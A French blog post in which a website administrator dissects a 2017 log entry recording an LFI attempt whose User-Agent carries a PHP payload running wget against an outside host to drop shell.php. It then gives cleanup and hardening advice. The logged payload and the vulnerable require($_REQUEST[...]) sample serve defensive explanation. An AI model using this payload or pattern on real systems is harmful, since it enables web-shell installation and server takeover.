Admin/Dev

Hier, en effectuant la surveillance des sites internets dont je m'occupe, je tombe sur une "anomalie" qui a titillé ma curiosité. En creusant un tout petit peu plus loin, dans les logs, je trouve la requête, ou plutôt l'ensemble de requêtes qui tentent quelques actions malicieuses.

176.126.252.12 - - [03/Oct/2017:10:51:26 +0200] "GET /?file=../../../../../proc/self/environ HTTP/1.1" 200 5050 "-" "< ? php system('wget "101.99.5.63/doh.txt?h=www.mon-site.fr&f=file" -O shell.php'); ? >"

Voila l'une des lignes du logs et décorticons la ensemble, morceau par morceau :

• 176.126.252.12 : Il s'agit de l'adresse IP du client qui a émis la requête.
• [03/Oct/2017:10:51:26 +0200] : Date et heure de la requête
• "GET /?file=../../../../../proc/self/environ HTTP/1.1" : Page appelée
• 200 : Etat de la requête
• 5050 : Taille de la page retournée
• "-" : Page référante
• "< ? php system('wget "101.99.5.63/doh.txt?h=www.mon-site.fr&f=file" -O shell.php'); ? >" : Agent utilisateur du logiciel ayant émis la requête

Commençons par éliminer les deux points sans importance, la date, et la page référante qui est vide.

Regardons ensuite l'adresse IP, en regardant sur internet, on remarque qu'il s'agit d'une adresse provenant de Roumanie, mais surtout, qu'elle est connu pour ses nombreuses tentatives de hack, de toutes sortes. Qu'il s'agisse d'un serveur malveillant, d'un serveur ou d'un PC domestique hacké, peut importe, seul le résultat compte et nous ne pourrons rien y faire.

Regardons ensuite la requête et son résultat, le client a appelé une page en mode GET et au format HTTP/1.1. C'est l'URL qu'il faut regarder de plus près. Elle tente de lire un fichier de votre système, pour peu que votre page d'accueil réponde aux paramètres "file". Toutes les requêtes reçues étaient identiques, exceptée l'URL, le paramètre variait pour ratisser le plus largement possible.

Cette vulnérabilité, appelée LFI / RFI ou Local/Remote file inclusion, est un classique du genre mais n'était souvent présente que sur les sites old-school, faits à la main.

Le serveur a répondu, l'état 200 l'indique. Cependant, les paramètres n'ont eu aucun effet, et ils n'ont reçu que le contenu de la page d'accueil du site (qui fait donc, 5050 octets).

Mais ce n'est que la partie émergée de l'iceberg. Cette attaque dispose d'un deuxième, voir, d'un troisième effet kisskool, à travers l'agent utilisateur qui est finalement l'élément le plus dangereux.

Comme vous pouvez le voir, il ne s'agit pas de l'agent utilisateur d'un navigateur classique mais plutôt d'une commande PHP qui, si elle était exécutée, pourrait faire de sacrés dégâts.

La commande demande au serveur de récupérer un fichier d'un serveur distant, pour l'écrire dans le site et qui permettrait ensuite l'accès à l'ensemble des fichiers du serveur. Mais ce n'est pas tout, si vous regardez bien vous pourrez voir qu'il y a deux paramètres, le premier étant l'url du site sur lequel la tentative de hack est testée, et le second est le paramètre passé dans la l'URL de la requête, sous-entendu celui qui a fonctionné. Le hackeur enregistre donc ses tentatives réussies, pour une réutilisation ultérieure ou simplement revendre la faille.

Que faire si vous observez le même phénomène ?

La première chose à faire est de vérifier si vous n'avez pas un fichier shell.php qui ne vous appartient pas et qui traine dans vos dossiers web.

Si c'est le cas, c'est que vous avez été hacké, commencez par supprimer l'accès au fichier. Pas forcément en le supprimant mais plutôt en le déplaçant afin de pouvoir l'étudier et voir l’ampleur des dégâts. L'avantage de ce genre de hack, c'est que toutes les actions se trouveront dans les logs, vous pourrez donc voir ce qui a été exécuté sur votre serveur.

Pour être sûr, deux solutions s'offrent à vous, soit une réinstallation complète du site à partir d'une sauvegarde propre, mais avec une perte de données qui peut être conséquente, soit un nettoyage fichier par fichier, en regardant tous les fichiers modifiés depuis l'installation du hack.

Comment prémunir ce genre de hack ?

• Pour ma part, malgré l'échec du hack, j'ai tout de même, et immédiatement, mis à jour le CMS, en renforçant le contrôle des agents utilisateurs. Plusieurs sécurités valent mieux qu'une. Désormais, tous mes sites renverront un refus d'accès sous la forme d'un état 403 et une page vide dès qu'un accès "system" est indiqué dans l'agent utilisateur.
• Il ne faut JAMAIS laisser une porte ouverte permettant la lecture d'un fichier depuis l'extérieur, et ne pensez pas qu'en la cachant, vous serez à l'abris. Dans tous les cas, avec un backdoor, vous êtes à la merci d'un plus malin que vous. Souvent la preuve d'un excès de fénéantise, cela pourrait vous coûter cher pour quelques secondes de gagnées.
• Ne jamais faire lire un fichier dont le chemin ou le nom pourrait être modifié avec des paramètres, par exemple :
  

  require($_REQUEST['mon_fichier']);

  
  C'est la porte ouverte à la lecture de tout votre serveur.
• Et en cas d'absolue nécessité, de lecture de fichier avec paramètres, il faut border les possibilités avec des contrôles sur le chemin du fichier.
• Ne jamais afficher le contenu des logs de manière brute, il est préférable d'échapper ces contenus avant de les afficher.
• Limiter les dossiers dans lesquels le site a le droit d'écrire. En général, les hacks ne prennent pas le temps de vérifier l'arborescence du site, et écrivent à la racine du site, celle-ci doit être bloquée en lecture seule.
• Surveiller les logs, c'est basique mais toujours efficace, ainsi vous serez au courant de tentatives que vous ne connaissez pas encore, ou que votre site n'est pas encore capable de contrer. Les hackeurs évoluent, vous le devez aussi.
• Vous pouvez aussi bannir l'IP, mais ce n'est qu'un coup d'épée dans l'eau, il y en a tellement d'autres qui tenteront de passer. M'enfin, pour celle-ci, elle semble tellement néfaste que cela ne peut pas faire de mal de la bloquer.